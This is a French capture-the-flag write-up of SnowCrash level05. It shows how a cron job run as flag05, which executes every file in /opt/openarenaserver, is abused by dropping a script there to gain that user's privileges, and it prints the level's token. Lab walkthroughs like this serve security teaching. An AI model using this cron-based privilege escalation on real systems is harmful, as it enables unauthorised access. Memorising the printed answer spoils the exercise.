LEVEL05 :

Vu qu'il y a aucun dossier dans le home, on cherche les fichiers relies a l'user flag05.

```
level05@SnowCrash:~$ find / -user flag05 2>/dev/null
/usr/sbin/openarenaserver
/rofs/usr/sbin/openarenaserver
```

```
level05@SnowCrash:~$ ls -la /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 94 Mar  5  2016 /usr/sbin/openarenaserver
level05@SnowCrash:~$ getfacl /usr/sbin/openarenaserver
getfacl: Removing leading '/' from absolute path names
# file: usr/sbin/openarenaserver
# owner: flag05
# group: flag05
user::rwx
user:level05:r--
group::r-x
mask::r-x
other::---

level05@SnowCrash:~$
```

On peut voir que ce fichier a des droits speciaux, c'est un ACL (Access control list) ca permet de faire des droits plus precis pour differents user. On peut voir avec la commande getfacl le details de ces droits.

Un cat du fichier rapide pour connaitre son utilite.

```
level05@SnowCrash:~$ cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
level05@SnowCrash:~$
```

On voit que ca execute bash -x sur tous les fichiers dans /opt/openarenaserver.
Du coup on creer un script dans ce dossier qui va execute getflag a notre place.

Dans un fichier on ecrit : getflag > /tmp/flag 2>/dev/null, ca va ecrire dans /tmp/flag.

Le soucis c'est que le fichier /usr/sbin/openarenaserver n'est pas utilisable par l'utilisateur, du coup, apres verification des mail pour l'user on voit.

```
level05@SnowCrash:~$ find / -name level05 2>/dev/null
/var/mail/level05
/rofs/var/mail/level05
level05@SnowCrash:~$ cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
level05@SnowCrash:~$
```

La on voit qu'il y a un cron sur le fichier en question executer par l'utilisateur flag05.

```
level05@SnowCrash:~$ cat /tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc
level05@SnowCrash:~$
```

Le flag est donc viuaaale9huek52boumoomioc